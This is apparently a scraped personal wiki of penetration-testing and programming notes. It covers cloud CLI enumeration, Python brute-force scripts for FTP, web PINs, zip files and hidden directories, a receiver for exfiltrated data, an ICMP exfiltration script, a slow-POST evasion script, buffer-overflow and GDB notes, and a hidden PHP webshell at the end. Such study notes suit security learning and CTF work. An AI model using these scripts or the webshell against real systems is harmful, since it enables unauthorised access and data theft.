responsibility](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MUBcWDIntFMCfIaMka5%2Fuploads%2F2mSDu7w6zLvSxdovzl8K%2FShared-Responsibility-by-Service-Type.png?alt=media\&token=eb54ee00-a0b5-4ba6-b464-74c517d0ed92) AWS - Azure - # AWS CLI Install via pip ### Create a Profile This allows us to store the Access Key ID and Secret Key in a ready to use profile. `aws configure --profile myNewProfile` After, we can call the profile to ask what info can be gathered about the user. `aws sts get-caller-identity --profile myNewProfile` ## S3 AWS S3 is used for storage `aws s3 ls --profile myNewProfile` `aws s3 ls s3://myNewBucket/ --profile myNewProfile` Copy a file from the bucket to local dir `aws s3 cp s3://myNewBucket/lol.txt ./ --profile myNewProfile` Don't forget to check for open buckets! {% embed url="" %} ## EC2 We can gather information about our instances to include public IPs and security groups ``` aws ec2 describe-instances --profile myNewProfile aws ec2 describe-instances --profile myNewProfile | jq '.Reservations[] | .Instances[] .PublicIpAddress' ``` Create a keypair to be used in EC2 `aws ec2 create-key-pair --profile m4lwhere --key-name m4lwhere --query 'KeyMaterial' --output text > ~/.ssh/m4lwhere.pem` ## More Notes {% embed url="" %} # Azure CLI ## Installation Install via APT `apt install azure-cli` {% embed url="" %} ## Configure Log into the tool with either interactive login or inline `az login` `az login -u user@m4lwhere.org -p lmaoPass` ## AZ AD Analysis We can start to analyze things about Azure AD `az ad signed-in-user show` `az ad user list -o table` A slightly easier to view table `az ad user list --query '[].{DisplayName:displayName,UserPrincipalName:userPrincipalName,UserType:userType}' -o table` Find a list of the users in the domain and their permissions `az role assignment list -o table` ## AZ VM Analysis Find all of the systems assigned and running `az vm list -o table --resource-group m4lwhere-resources` Get additional information `az disk list -o table --resource-group m4lwhere-resources` Now we may be able to check for any snapshots of the systems az snapshot list -o table # SaaS Attacks Software as a Service is used to provide a specific application to a customer. This includes Office 365, Gmail, and Salesforce. Data is the goal of SaaS testing. Generally this is user login information. We cannot launch exploits on the underlying infrastructure, this would be OOS. # PaaS Platform as a Service: Similar to container-based orchestration. For testing, we can exploit the application, but not the underlying host. # Programming Notes This contains all of the notes for programming I've learned over the years. Specifically, this is mostly python, pwn, with a bit of C. I'm planning on learning Go and C++ in the future🤓 I use vim, with a pretty straight fwd vimrc Vim commands # Examples and Quick Scripts This is a page of quick wins and scripts written to achieve certain goals. Copy/paste parts as needed! ## Python ### FTP Brute Force Brute forces all passwords from `words.txt` for the username `secure_usertry/except` loop. ```python from ftplib import FTP import time ftp = FTP() HOST = 'services.ftp.site' PORT = 2121 ftp.set_debuglevel(2) dictionary = 'words.txt' password = None with open(dictionary, 'r') as f: for line in f.readlines(): password = line.strip('\n') print('trying ' + password) time.sleep(0.001) try: ftp.connect(HOST, PORT) ftp.login(user='secure_user', passwd=password) ftp.quit() except: pass print(password) ``` ### RC4 Brute Force ARC4 brute forcing script written to try and decrypt a string. The decryption attempt is passed to another loop to try and determine if the string is readable ASCII or not. I chose not to pause or quit the loop because I was getting some false positives. ```python from arc4 import ARC4 cipher = b'\x55\x34\xe1\xb2\x17\xdc\x2a\xc5\x21\x26\x77\xe3\xae\x56\xed\x42\xc3\x28\x10\x40\x0a\xfc\xa2\x1d\xef\xab\x11\x1b\xc7' with open("big_set.txt", "r") as keys: for line in keys: line = line.strip() arc4 = ARC4(bytes(line, 'utf-8')) new = arc4.decrypt(cipher) try: decoder = bytes.fromhex(new.hex()).decode('utf-8') print("Key " + line + " made this:\n" + decoder) except UnicodeDecodeError: pass ``` ### Zip File Brute Force Guess with B64 Password This script will attempt to unzip an archive with a password from rockyou. This particular challenge said the password was base64 encoded, which is what the first part of the loop is for. Second part of loop is a try/except loop to pass the unzip error with wrong password. Alternatively, one could get the zip hash then convert the rockyou list into base64 for each line - I chose to NOT do this to prevent having an extra rockyou file full of base64. ```python import base64 import zipfile dictionary = '/mnt/d/hashcat-6.0.0/rockyou.txt' with open(dictionary, 'r', errors='ignore') as f: for line in f.readlines(): password = line.strip('\n') #print(f'Raw password is {password}') encoded = base64.b64encode(str.encode(password)) #print(f'Encoded password is {encoded}') with zipfile.ZipFile('./base64.zip','r') as zip_ref: try: zip_ref.extractall(pwd=encoded) print(f'Found! Password is {password}, encoded is {encoded}!') quit() except: pass ``` ### Connect to a Website, Establish Session, and Send Data Establishing a session prevents multiple TCP connections from having to be opened. Additionally, taking the JSON and interpreting natively makes things useful! ```python import requests import json url = 'https://captcha.lol' header = {'User-Agent':'bot'} s = requests.Session() r = s.get(url,headers=header) ans = json.loads(r.text) code = ans['code'] nonce = ans['nonce'] print(code) print(nonce) p = s.post(url, json=ans, headers=header) print(p.text) ``` ### PIN Brute Force for Web Login This script adds a pin guess for a web login attempt. The pin is zfilled which makes 4 to 004. Additionally there’s a regular expression to find if access was denied or not and give what the PIN was while breaking out of the loop. A final print statement lets me know that they were all looped through, useful when I wasn't sure if my requests were properly formatted. ```python import urllib import requests import re url = "https://vuln.server/admin_login" pin = 0 while pin < 1000: #headers = {'Cookie' : 'PHPSESSID=qhq84atma883hio9eso7hhsr4j'} payload = {'email':'sysadmin@vuln.server','password':str(pin).zfill(3)} req = requests.post(url, data=payload, allow_redirects=True) if not re.findall('Access Denied', req.text): print(f'\npin is {str(pin).zfill(3)}!\n') break print(str(pin).zfill(3), req.status_code, len(req.content)) pin = pin + 1 print('finished testing') ``` ### Username Guessing based on Timing Analysis This script pays attention to the timing between good usernames and bad ones to help determine if a username is valid. ```python import requests from string import ascii_lowercase with open('surnames.txt') as f: lines = f.read().splitlines() for lname in lines: for init in ascii_lowercase: username = init+lname r = requests.post('http://m4lwhere.org/login.php', data = {'user':username,'pass':'haha'}) roundtrip = r.elapsed.total_seconds() print(f'{roundtrip} for {username}') ``` ### Connect to Raw Socket and Pass Data This challenge required connecting to the socket and brute forcing the first byte back, I didn’t fully finish this challenge because it was a little frustrating. I need to spend more time on this script. ```python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('cfta-ne01.allyourbases.co',8017)) buf = s.recv(1024) s.recv(1024) conv = buf.decode('unicode-escape').encode('latin1').decode('UTF-8') conv = conv + '\n' print(conv) s.sendall(bytes(conv, encoding='UTF-8')) ans = s.recv(1024) win = ans.decode('unicode-escape').encode('latin1').decode('UTF-8') print(win) s.close() ``` ```python import socket import time def connect(): s.connect(('challenges.ctf.lol',3008)) def recv(): recv = s.recv(1024) print(recv) for i in range(ord('A'),ord('z')+1): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print(f'trying {chr(i)}') s.connect(('challenges.ctf.lol',30468)) recv = s.recv(1024) print(recv) s.sendall(bytes(chr(i), encoding='utf8')) recv = s.recv(1024) print(recv) s.close() ``` ### ROT13 Automatic Decoder Written by Jess! Automatically finds the decoded input using the enchant library. Searches for legitimate words in the English dictionary, very cool! ```python import enchant d = enchant.Dict("en_US") cipher=input("Enter Caesar Shift Cipher to Decode: ") for n in range(26): decode="" wordfound="" for x in range(0,len(cipher)): if ord(cipher[x]) in range(97,123): decode+=(chr(((ord(cipher[x])-96+n)%26)+97)) elif ord(cipher[x]) in range(65,91): decode+=(chr(((ord(cipher[x])-64+n)%26)+65)) elif ord(cipher[x])==(32): checkword=d.check(decode) if checkword: wordfound=("Found!") decode+=cipher[x] else: decode+=cipher[x] check=d.check(decode) print((n+1),decode,wordfound) ``` ### Choose Random Numbers This program chooses some random integers and assigns them to a string. Nothing fancy. ```python import random series = random.randint(1,3) book = random.randint(1,6) page = random.randint(1,300) print(f'Series {series}, Book {book}, Page {page}\n\n') ``` ### List of all Characters from `aa` to `zz` : Quick way to create a list of all possible lowercase values ```python from string import ascii_lowercase for a in ascii_lowercase: for b in ascii_lowercase: print(a+b) ``` Below is brute forcing all lowercase characters to find a hidden web dir ```python import requests from string import ascii_lowercase url = 'http://m4lwhere.org/' for a in ascii_lowercase: for b in ascii_lowercase: for c in ascii_lowercase: #print(a+b+c) fullUrl = url + a + b + c r = requests.get(fullUrl) if r.status_code != 404: print(f'Code {r.status_code} for {fullUrl}') else: pass ``` Same one, just with a progress bar! ```python import requests from progress.bar import Bar from string import ascii_lowercase url = 'http://m4lwhere.org/' with Bar('Brute Forcing...', max=26*26*26-1) as bar: for a in ascii_lowercase: for b in ascii_lowercase: for c in ascii_lowercase: #print(a+b+c) fullUrl = url + a + b + c r = requests.get(fullUrl) if r.status_code != 404: print(f'\nCode {r.status_code} for {fullUrl}') else: bar.next() pass ``` ### Receive POST in Python This uses to receive large items sent via POST ```python PORT = 8000 from http.server import HTTPServer, BaseHTTPRequestHandler class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(b'Hello, world!') def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() decoded = body.decode('utf-8') print('[+] Received: ') print(decoded) f = open('/tmp/exfil.txt', 'w') f.write(decoded) with HTTPServer(('localhost', PORT), SimpleHTTPRequestHandler) as httpd: print("[+] Running Server at", PORT, "Saving Files in /tmp/exfil.txt" ) httpd.serve_forever() #Run it: python3 post.py ``` ### Async HTTP Requests These types of requests can try to time out various security tools by intentionally taking a very slow time to deliver a payload. ```python import asyncio, urllib.parse, sys from time import sleep async def print_http_headers(url): # Get our URL parts together url = urllib.parse.urlsplit(url) # Determine if HTTPS or not if url.scheme == 'https': reader, writer = await asyncio.open_connection( url.hostname, 443, ssl=True) else: reader, writer = await asyncio.open_connection( url.hostname, 80) """ # Below is for a GET request to prove our async pipeline works as intended # Commented out to send exploit ##### query = [ f"GET {url.path or '/'} HTTP/1.1\r\n", f"Host: {url.hostname}\r\n", f"\r\n" ] """ # Our exploit, this payload is json payload = '{"username":"m4lwhere","password":"lmao"}' # Build the HTTP request query = [ f"POST {url.path or '/'} HTTP/1.1\r\n", f"Host: {url.hostname}\r\n", f"Content-Length: {len(payload)}\r\n", f"Content-Type: application/json\r\n", f"\r\n" ] # Send the headers with only 1 second between each one for i in query: print(i) # Let us see what's being sent as it happens sleep(1) writer.write(i.encode('latin-1')) # Now time to send our exploit print("sending payload...") # Split the payload into individual bytes instead of a whole string for i in payload: print(i) sleep(0.5) # Wait half a second before sending each byte writer.write(i.encode('latin-1')) # Send byte as its placed into writer # Now we wait for a response while True: line = await reader.readline() if not line: break line = line.decode('latin1').rstrip() if line: print(f'{line}') # close the socket writer.close() # Pass the website in as an ARGV value url = sys.argv[1] asyncio.run(print_http_headers(url)) ``` # PowerShell See link in WIndows Exploits {% content-ref url="/pages/-MUBkPPbqt62D6t3rAU9" %} [Powershell](/offensive/microsoft-windows-exploits/powershell) {% endcontent-ref %} # Pwn I placed pwn in with programming, because it relies heavily on programming concepts and knowledge ### ELF Analysis Take a quick look at the file before jumping into analysis ```bash readelf -h ./binary # Analyze the ELF headers readelf -sW ./binary | grep FUNC # List all functions in binary objdump -M intel -d ./binary | awk -v RS= '/^[[:xdigit:]]+

/' # Display disassembly for main() only ltrace ./binary # Watch library calls as program executes strings ./binary # The classic printf $(python -c 'print("A"*15)') | ./int-overflow # Easy way to change amount of bytes passed to program echo -n -e ' \x41\x41\x41\x41\x41\x41\x42' > bytes # Put bytes directly into a file (cat ./exploit; cat) | ./program # Pass the exploit to the program, leaves stdin open ./checksec.sh ./program # Runs the checksec.sh script to determine binary mitigations in place # Use MSF to create the pattern and identify offsets /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 6641396541386541 # Similar to MSF, PEDA can support patterns too. Inside GDB pattern_create 700 pattern_offset $ASCII_VALS # Disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space # Check if ASLR is enabled or not cat /proc/sys/kernel/randomize_va_space # Compile a program to be vulnerable gcc -no-pie -m32 -fno-stack-protector -z execstack binary.c -o binary # Strip internal symbols from a program strip binary # GDB-PEDA check security of a binary checksec ``` ### GDB Program used to help debug activities as they occur. Use `set disassembly-flavor intel` to get rid of nasty AT\&T syntax. Can analyze core dumps to help identify vulnerable locations in memory for binaries as well. Generally, we want to ***set a break AFTER a vulnerable function*** to see what the stack looks like. Change the libc used in GDB with the command ```c # Execute inside GDB to get correct libc offsets set exec-wrapper env 'LD_PRELOAD=/home/chris/libc.so.6' # Execute outside of GDB with command: LD_PRELOAD=./libc.so.6 | python -c 'print("1\n"+"A"*40)' | ./vuln_elf # Find /bin/sh in memory while using GDB find "/bin/sh" # Find "system" function in memory (has to be started first to link libs) p system # View env vars at a break after starting execution x/100s **(char***)&environ # Start a program with values passed as input (not argv) run < <(python -c 'print("A"*64 + "BBBB")') ``` | Command | Explanation | | ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `disass main` | disassemble the main function. | |

break main

break \*main+53

break \*0x8040564

| Break on the `main()` function, or an offset, or a specific memory address. Specific addresses require a `*` | | `print $eip` | Print the contents of a register, variables, or even a memory address | |

x/20i

x/5i \*0x8040564
x/20wx $esp

x/s \*0x8040564

Examine 20 Instructions from current EIP

Examine 5 instructions from a specific address
Examine 20 DWORDs from the stack pointer

Examine ASCII strings in an address

| |

info

info registers

info function

Lots of interesting info about the current program

Prints all register contents

Prints out all functions

si

ni

Step Instruction (into library calls!)

Next Instruction (skips library calls!)

| | `bt` | Backtrace, shows return pointers on the stack. SUPER useful to identify the call chain to gather return pointers | |

info breakpoints

del breakpoints

del break 3

Show all breakpoints

Delete all breakpoints

Delete breakpoint 3

| ```c # Read the disassembly from main() disas main # Print the value of hexadecimal to ASCII print (char []) 0x24424142 # Pass Args to a program when starting in GDB run `python -c 'print("A"*50)'` # Pass input to a program when starting in GDB run < <(python -c 'print("A"*50)') # Enable core dumps ulimit -c unlimited sudo chmod -s ./binary # With core dumps enabled, crash the binary and load the dump gdb --core=core ``` ### Some Vulnerable Functions If we find a program which calls some of these functions, we may be able to take control with a buffer overflow based attack. `calloc, malloc, realloc, fscanf, gets, scanf, sprintf, sscanf, strcat, strcpy, strncat, strncmp, strncpy, memchr, memcmp, memcpy, memmove, memset, scanf, gets, fwscan, sscanf` ### Stripped Binaries Stripped programs have their symbol tables removed, which makes identifying user created functions difficult to find compared with non-stripped binaries. If we search for functions, we will only see functions called in linked libraries. What we can do, is set a break on some of the functions that are called. Once that break is hit, we can inspect the `backtrace` with `bt` to identify where the return pointer will hit a call. ```bash # Inspect in GDB for functions i fun # Set break on a linked function break gets # View backtrace on break to see where entry point into function bt ``` ### ret2libc This is a technique where we use stack overflows to reach linked functions in libc and gain execution. We can find locations and offsets in linked libraries with this neat command below. Taken from ```bash # strings to find offset for /bin/sh, this will be 0x00131a7a strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh 131a7a /bin/sh ``` ### Stack Canaries In the case of a terminator canary, keep in mind that many functions such as gets() will place a null byte at the end for us! If we overrun the buffer, we can strategically reconstruct a canary value. ### ASLR ASLR makes exploitation more difficult, however there are some nifty tricks we can use to still get around it. Trampoline calls can be used to call the stack, we just need to search for opcodes which are either a `JMP ESP` or `CALL ESP`. By calling the stack pointer, we can execute our data on the stack (as long as DEP is not present!!). PEDA makes this easy with the command `jmpcall esp`. Additionally, we can check if the libraries loaded by a program are staticly loaded or not. This can be done using the `ldd` program. ### Pwntools ```python >>> import pwn >>> pwn.p64(0x7fffffffe380) b'\x80\xe3\xff\xff\xff\x7f\x00\x00' >>> pwn.p32(0x0804853b) b';\x85\x04\x08' ``` ### Create Shellcode One of the easiest ways to create shellcode is using msfvenom. We can always list out the options with --list-options as a switch. # Windows Pwn Mona is used extensively in Windows pwn. It is a part of the Immunity Debugger ```python !mona pattern_create 1000 # Generate a unique 1000 byte buffer !mona pattern_offset 37694136 # Identify the offset of the buffer with EIP address !mona modules -o # This shows the modules used by the program, -o ignores OS modules !mona jmp -r est -m Configuration.dll # Select one of the DLLs not participating in ASLR to find static address ``` # Python Get started, why wait for a compiler!! {% content-ref url="/pages/-MUIs1xNgNCyDhG-eD2H" %} [Basic Python](/programming/python/basic-python) {% endcontent-ref %} {% content-ref url="/pages/-MUIzyP5DXz6udqbegTk" %} [Working with Files](/programming/python/working-with-files) {% endcontent-ref %} {% content-ref url="/pages/-MUJ-FbvZBO7BBCQaZlS" %} [Networking](/programming/python/networking) {% endcontent-ref %} {% content-ref url="/pages/-MUJ-XhScBVwgMXsyeXP" %} [Scapy](/programming/python/scapy) {% endcontent-ref %} # Basic Python ### Basic Components 🐍 Python follows basic order of operations when evaluating expressions, similar to PEMDAS for math. | Operator | Operation | Example | Evaluates to | | -------- | -------------------------- | ------- | ------------ | | `**` | Exponent | 2\*\*4 | 16 | | `%` | Modulus (remainder!) | 5 % 2 | 1 | | `//` | Integer Division (floored) | 11 // 2 | 5 | | `/` | Division | 11 / 2 | 5.5 | | `*` | Multiplication | 2 \* 3 | 6 | | `-` | Subtraction | 3 - 2 | 1 | | `+` | Addition | 2 + 4 | 6 | ### Data Types and Classifications 👩‍🏫 Using a single equals `=` is an **assignment** operator, where it **assigns** a value to a variable. Using double equals `==` is a **comparison** operator, where it **checks** two values! ### Flow Control 🌊🤽‍♀️ Tons of different ways to control execution of the program. Fundamental way in how programs work and look like magic ✨ Until you realize that whitespace is interpreted. Make sure you use four spaces instead of tabs, just as God intended. ```python # if, elif, and else control!! ayyy = 'lmao' # if statements check if a statement is true if ayyy == 'lmao': print('👽👽👽') # elif statments help determine one of many possible clauses elif len(ayyy) == 4: print('😂😂😂😂') # can have have several elif, but skips any remaining elif after first True elif len(ayyy) != 4: print('🤔🤔🤔') # else statements is executed ONLY if the preceeding if is False (NOT REQUIRED!) else: print('❌👽❌') ``` There are `while` loops which will check for a condition and keep executing until completed. Using `break` will exit the while loop early! Similarly, `continue` statements will jump back to the beginning of a `while` loop and evaluate the loop's condition. ```python # while loops will execute until a condition is met count = 0 while count < 5: print('ayyy') count = count + 1 print('lmao') name = '' while name != 'your name': print('Please type your name') name = input() # break statements exit the while loop's clause early, continue jump to start of while name = '' while True: print('Please type your name') name = input() if name != 'your name': continue print('What\'s the password?') pass = input() if pass = 'ayyylmao': break print('Well done!') ``` Another loop is the `for` loop which can repeat an action a specific amount of times. When using `range` we can also specify start, stop, and steps. ```python ayyy = 'lmao' # Print the var ayyy five times for i in range(5): print(ayyy) # Print the value of i between two values for i in range(12, 15): print(i) # Similar, only with a step! for i in range(0, 10, 2): print(i) ``` ### Strings 🧵 We can take a string of any length and reference ANY part of it! ```python lmao = 'holy hell' # Print first character of string lmao print(lmao[0]) # Print last character of string lmao print(lmao[-1]) # Print entire string backwards! print(lmao[::-1]) # Split string on a delimeter, default is space haha = lmao.split() print(haha) # Replace certain parts of a string print(lmao.replace('h','') # prints 'hoy he' ``` ### Lists 📜📜 ```python ans = ['H', 'E', 'L', 'L', 'O'] print(''.join(ans)) # Will print HELLO ``` Comprehension Search for a partial match in a list and add to another list. Super useful! ```python origList = ['big','bad','bigly'] subStr = 'ig' filterList = [string for string in origList if subStr in string] ``` Tuples ### Dictionaries 📚📚 Very similar to JSON. In fact, so close, it can be converted to JSON with minor worries! ```python # Create the dict type lmao = {'one':1,'two':2} # Add a new key to the dictionary lmao['three'] = 3 # Loop over each pair of keys and values to access for i, k in enumerate(lmao): print(i, k) # Will print: # one 1 # two 2 # three 3 ``` User Inputs #### Loops ```python from string import ascii_lowercase for a in ascii_lowercase: for b in ascii_lowercase: print(a+b) ``` Arithmetic and Conditionals Regex Matching ## Convert bytes to IPv4 ```python ipaddr = '.'.join(f'{c}' for c in line['ipAddress']) ``` # Modules Datetime add number of seconds to a datetime object ```python from datetime import timedelta def add(moment): return moment + timedelta(seconds=1000000000) pass ``` # Working with Files Opening a file with Python we need to close it as well. ```python # Open a new file object for writing only myfile = open("/tmp/newfile.txt", "w") # Use the write method to add data to the file myfile.write("Here is my message.\n") # The "\n" must be added to separate lines on the file myfile.write("Here is my second message.") # We must close out the file object in order to properly close the object myfile.close() ``` Instead, we can use a `with` codeblock which will automatically handle closing the file once we're done with it. ```python with open("/tmp/newfile.txt", "r") as myfile: for line in myfile: print(line) with open('/tmp/cars.txt', 'r') as cars: print(cars.read()) ``` We can read all lines of a file into a list for easy use. We need to strip the newline as well. ```python def fileList(file): with open(file) as f: lines = f.readlines() clean = [ line.strip() for line in lines ] return clean ``` # Networking Collection of networking over sockets, using HTTP libraries, and networking ## Sockets Basic network communication over raw sockets ```python # Basic TCP connection to a server to send and receive data import socket clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) clientsocket.connect(('127.0.0.1', 9987)) clientsocket.send('hello'.encode()) data = clientsocket.recv(1024) print(data) ``` ## SSH Interaction Paramiko is a useful library which can be used to log into a host over SSH and execute commands as though it were an interactive session. ```python import paramiko key = '/home/some/rsa/private/key' hostname = '127.0.0.1' user = 'm4lwhere' k = paramiko.RSAKey.from_private_key_file(key) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=hostname, username=user, pkey=k) stdin, stdout, stderr = client.exec_command('ls -l') print(f'Received output:\n\n{stdout}') # Don't forget to close out the object! ssh.close() ``` ### SFTP Paramiko can additionally support SFTP natively with a `paramiko.SSHClient()` object which is super cool. ```python import paramiko key = '/home/some/rsa/private/key' hostname = '127.0.0.1' user = 'm4lwhere' k = paramiko.RSAKey.from_private_key_file(key) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=hostname, username=user, pkey=k) sftp = ssh.open_sftp() srcFiles = sftp.listdir('/home/m4lwhere') # Download each of the files in the srcFiles list for i in srcFiles: download = f'/home/m4lwhere/{i}' sftp.get(download, '/opt/downloads') # Upload a file from local machine to external one sftp.put('/opt/upload.txt', '/home/m4lwhere/upload.txt') ssh.close() ``` # Attack Related ## Generate an NTLM hash ```python import hashlib,binascii hash = hashlib.new('md4', "thisismyhashvalue".encode('utf-16le')).digest() print binascii.hexlify(hash) ``` # Scapy Scapy is so special it earns its own page Send data over ICMP! ```python from scapy.all import * import time, random # Read in the picture as a file with open('./hahaha.jpg', 'rb') as manning: peyton = manning.read() # Encode the file to hex (easier to send as hex) peyton = peyton.hex() # How long each payload should be n = 32 # Split the encoded hex into a list of n-sized pieces haha = [peyton[i:i+n] for i in range(0, len(peyton), n)] # Loop to constantly send ICMP while True: # Loop through entire list and send in order for i in range(len(haha)): # Re-encode payload as bytes for index payload = bytes.fromhex(haha[i]) send(IP(dst="127.0.0.1")/ICMP(type=8)/payload) # Sleep for a bit to make it less consistent time.sleep(random.randint(1,15)) # Sleep between each set time.sleep(random.randint(600,1500)) ``` # Using Scapy ### Basics *BEFORE WE CAN SEND PACKETS, WE MUST FIX IPTABLES! SCAPY BYPASSES THE NORMAL KERNEL PROCEDURES!* Without this, we will NEVER see the responses from our packets we send! ```bash iptables –A OUTPUT –p tcp –tcp-flags RST RST –j DROP ``` There are several basics we can use to create layers in a packet for whatever we would like! | Command | Description | | --------- | --------------------------------- | | `ls()` | list protocols or variable | | `lsc()` | list supported commands | | `send()` | send layer 3, match all responses | | `sendp()` | send layer 2, no response | | `srp1()` | send layer 2, match 1 response | | `srp()` | send layer 2, match all responses | ```python # send and receive [packet], define the return as ans and unans with “_”, print the summary sr([packet]); ans, unans = _ ans.summary() # send a TCP snipe to end the connection, must hit the correct seq from the most recent ack in order to be accepted send(IP(dst=”192.168.1.200”)/TCP(sport=45089, dport=999, flags=”RA”, seq=3689929657)) i = sniff(filter=”host 192.168.1.100 and icmp”, count=2) i.summary() ``` # Reading PCAP Scapy can read pcap files as well! ```python packets=rdpcap("capture.pcap") # Open wireshark directly from scapy wireshark(packet[0]) ``` # C Still learning more about C ## Useful Functions | Function | Purpose | | ------------------------------------------- | ------------------------------------------------------------ | | `printf("there's %d apples", apple_count);` | Print a line to the output, takes standard string formatting | | `count = atoi(argv[2]);` | Convert a `string` to an `int`, ASCII to Integer (atoi) | | | | ## Memory Segments ### Text Segment Also called *code segment*, all assembly for code is stored in this location. There is no write permission for this location, it does not store variables, and has a fixed length. Nothing should ever change in it, program will be killed if anything is changed in this section of memory. ### Data and BSS Segments Data contains the initialized global and static variables, while BSS has the uninitialized counterparts. These segments are writable but are a fixed size. ### Heap Segment Memory location programmer can directly control. Can be allocated and used for any purpose, no fixed size and can grow or shrink as needed. Growth of the heap goes downward to higher memory addresses. ### Stack Segment The stack is used to store local function variables and context during function calls. All of this information is stored on a *stack frame* to keep it in memory. First in Last out (FILO), imagine putting pancakes on a plate, you'll need to remove the pancakes in order to reach lower ones. Adding items to the stack is *pushing*, while removing items is *popping*. The *ESP (Extensible Stack Pointer)* is used to keep track of the addess of the end of the stack. The stack grows upward, towards lower memory addresses. The *EBP (Extensible Base Pointer)* contains the base address of the function's frame and is used to reference local function variables in the current stack frame. The *SFP (Saved Frame Pointer)* is used to restore *EBP* to its previous value and the *Return Address* is used to restore *EIP* to the next instruction found after the function call (where to return in the program after completing the current function). Remember, the stack is FILO, so function calls place the parameters on the stack in reverse order. Take the code example below into account. ```c int main() { test_function(1, 2, 3, 4); // Order of parameters is reversed when placed on stack } ``` ![test\_function parameters are added in reverse due to FILO nature of stack](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MUBcWDIntFMCfIaMka5%2F-M_HOko4aLJe4V4RbaJL%2F-M_HQXhBsBsf_UlbhU7w%2Fimage.png?alt=media\&token=1ea38515-3ade-44f0-8356-503ab0ec8f8b) ## Code Examples Examples of code used to identify and use for functionality ### Read Command Line Args Simple program to read the amount of command line args given and prints each one to a newline ```c #include int main(int arg_count, char *arg_list[]) { int i; printf("There were %d args given:\n", arg_count); for(i=0; i < arg_count; i++) printf("arg %d: %s\n", i, arg_list[i]); } ``` # Code Examples Example snippets and stuff For loop ```c for(int i = 1; i < 65; i++) { printf("Current count is: %d\nCurrent total is: %llu\n", i, total); total += square(i); } ``` While loop ```c ``` Get number of digits in an int, then use the length to assign the memory for the char array ```c //Identify the number of digits in a number nDigits = floor(log10(abs(num))) + 1; printf("Number of digits is %d\n\n",nDigits); total = 0; //assign an array based on the number of digits char Digits[nDigits]; //assign number as string in char pointer sprintf((char*)Digits,"%u",num); ``` Convert each digit in an int to a char array # GDB ## Cheatsheet | Command | Shortcut | Purpose | | -------------------------------------------------------------------------------------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | | `list main` | `li main` | Shows source code of `main` function (only if compiled with `gcc -g`) | |

break main

break 10

br main

br 10

| Sets a break point at the start of the `main` function, sets break point at line 10 of provided source code (if compiled with source) | |

run

run haha

r

r haha

i r

i r esp ebp eip

| Inspect registers at the current point in execution. Can specify individual or multiple registers as well to reduce output on screen. | | `examine/5instructions $eip` | `x/5i $eip` | Examine the next 5 instructions of the EIP register. | | `x/8xb $eip` | | Examine the next 8 hex bytes of the EIP register | |

x/6cb 0x8048484

x/s 0x8048484

| inspect chars and strings |

Inspect the next six bytes as char and print their values

Inspect the string stored at the memory location

| |

x/o

x/x

x/u

x/t

Octal

hex

Unsigned base-10 int

binary

| | | | | | | | | | | | | | | | | | | | | # PHP This creates a hidden webshell on a page which will only display if connecting from a previously defined IP. ```php
'; echo passthru($_GET['cmd']); } else { echo ''; } ?> ``` ### Inclusion Adding the `include` or `require` allows the page to execute PHP code from other files. This can be used for a header or footer file. ```php ```